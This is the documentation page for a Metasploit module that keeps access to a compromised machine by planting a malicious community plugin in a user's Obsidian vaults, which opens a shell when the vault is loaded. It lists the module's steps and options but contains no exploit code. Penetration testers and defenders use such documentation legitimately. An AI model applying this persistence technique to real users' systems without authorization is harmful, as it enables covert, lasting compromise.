metasploit-gs/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md

## Vulnerable Application

This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.

Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.

### Debugging

To open the console (similar to chrome), use `ctr+shift+i`.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get a user shell on the target
4. Do: `use multi/local/obsidian_plugin_persistence`
5. Do: Select a shell which will work on your target OS
6. Do: `run`
7. You should get a shell when the target user opens the vault without restricted mode.

## Options

### NAME

Name of the plugin. Defaults to being randomly generated.

### USER

The user to target. Defaults the user the shell was obtained under.

### CONFIG

Config file location on target. Defaults to empty which will search the default locations.

## Scenarios

### Version and OS

Get a user shell.
